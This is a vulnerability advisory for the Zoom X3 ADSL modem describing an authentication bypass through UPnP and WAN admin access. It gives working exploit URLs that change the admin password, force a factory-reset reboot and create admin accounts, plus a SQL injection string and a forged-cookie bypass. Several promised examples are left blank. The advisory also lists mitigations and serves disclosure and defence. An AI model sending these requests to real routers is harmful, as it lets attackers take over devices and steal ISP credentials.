    Note: A similar vulnerability was reported several years ago on the
    Zoom X3 ADSL Modem using a SOAP API call. Many of these
    vulnerabilities affect X3 in the same manner, without needing to use a
    SOAP API.
    
    ===================================
    
    Vulnerability-
    When UPnP services and WAN http administrative access are enabled,
    authorization and credential challenges can be bypassed by directly
    accessing root privileged abilities via a web browser URL.
    
    All aspects of the modem/router can be changed, altered and controlled
    by an attacker, including gaining access to and changing the PPPoe/PPP
    ISP credentials.
    
    ====================================
    
    Timeline with Vendor-
    Have had no response from Zoom Telephonics since first reporting the
    problem on June 28. Subsequent emails have been sent with no response.
    
    Root Cause Observed-
    -As in most IGD UPnP routers and modems, where root vulnerabilities
    are prevalent, these modems contain the same privileged tunnel between
    either side of the router to be traversed without authentication.The
    code and layout of the device plays a large role as well.
    
    Code/Script Vulnerabilities-
    
    -Form tags and actions ids usually hidden are easily seen from the
    html source, no sanitization of client side input is occurring and
    root overrides such as 'Zadv=1' can be invoked by any user.
    
    -No cookie authentication is done once several of the first bypass is
    executed, allowing for "Cookie: sessionId=invalid" to pass admin commands.
    
    -The SQL injection UNION SELECT 1,2,3,4,5,6,7-- added to the end of
    any URL page calling a table value, such as /MainPage?id=25, will
    bring up the system status page, with each interface visible and
    selectable.
    
    Patches or Fixes-
    At this time, there are no known patches or fixes.
    
    Vulnerability proofs and examples-
    All administrative items can be accessed through these two URLs

    Example commands that can be executed remotely through a web browser
    URL, or a modified HTTP GET/POST requests-
    
    -Change Password for admin Account
    
    On Firmware 2.5 or lower
    http://<IP>/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
    
    On Firmware 3.0-
    http://<IP>/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_param1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes
    
    -Clear Logs

    -Remote Reboot to Default Factory Settings-
    Warning - For all intents and purposes, this action will almost always
    result in a long term Denial of Service attack.
    http://<IP>/Action?reboot_loc=1&id=5&cmdReboot=Reboot
    
    -Create New Admin or Intermediate Account-
    On Firmware 2.5 or lower
    http://<IP>/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateaccount"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes
    
    On Firmware 3.0-

    Mitigation and Workarounds-
    Adv.Options --> UPnP --> --> Disable UPnP --> Write Settings to Flash --> Reboot
    Adv.Options --> Firewall Configuration --> Enable 'Attack Protection'
    'DOS Proctection''Black List'--> Write Settings to Flash
    Adv.Options --> Management Control --> Disable WAN Management from all
    fields -->Write Settings to Flash
    Always change the default Username and Password, though this will
    nothelp mitigate this vulnerability
